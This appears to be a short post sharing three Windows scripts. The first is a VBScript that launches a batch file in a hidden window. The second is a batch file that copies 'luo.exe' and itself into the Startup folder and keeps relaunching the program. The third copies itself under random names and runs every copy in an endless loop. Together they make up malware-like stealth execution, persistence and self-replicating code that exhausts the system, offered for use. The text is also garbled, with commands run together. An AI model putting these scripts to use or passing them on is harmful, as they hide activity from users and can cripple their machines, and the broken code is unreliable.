Three small scripts of windows
1, Windows background running script test.vbs
Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c test.bat",vbhide
2. Boot script test.bat
@echo offcopy luo.exe "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"copy test.bat "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup": ssrem This is a script that monitors whether a program is open REM start " "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\luo.exe "tasklist /nh| find /i "luo.exe"if errorlevel 1 (start "" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\luo.exe")clstimeout /T 5 /nobreakgoto ssspause
3. Self-replicating script test.bat
@echo offrem This is a bat script that copies itself and executes: ssset name=%0set num=%RANDOM%rem copy %name% %_%num%.battype %name% >> %num%.batstart "" %num%.batpausegoto sss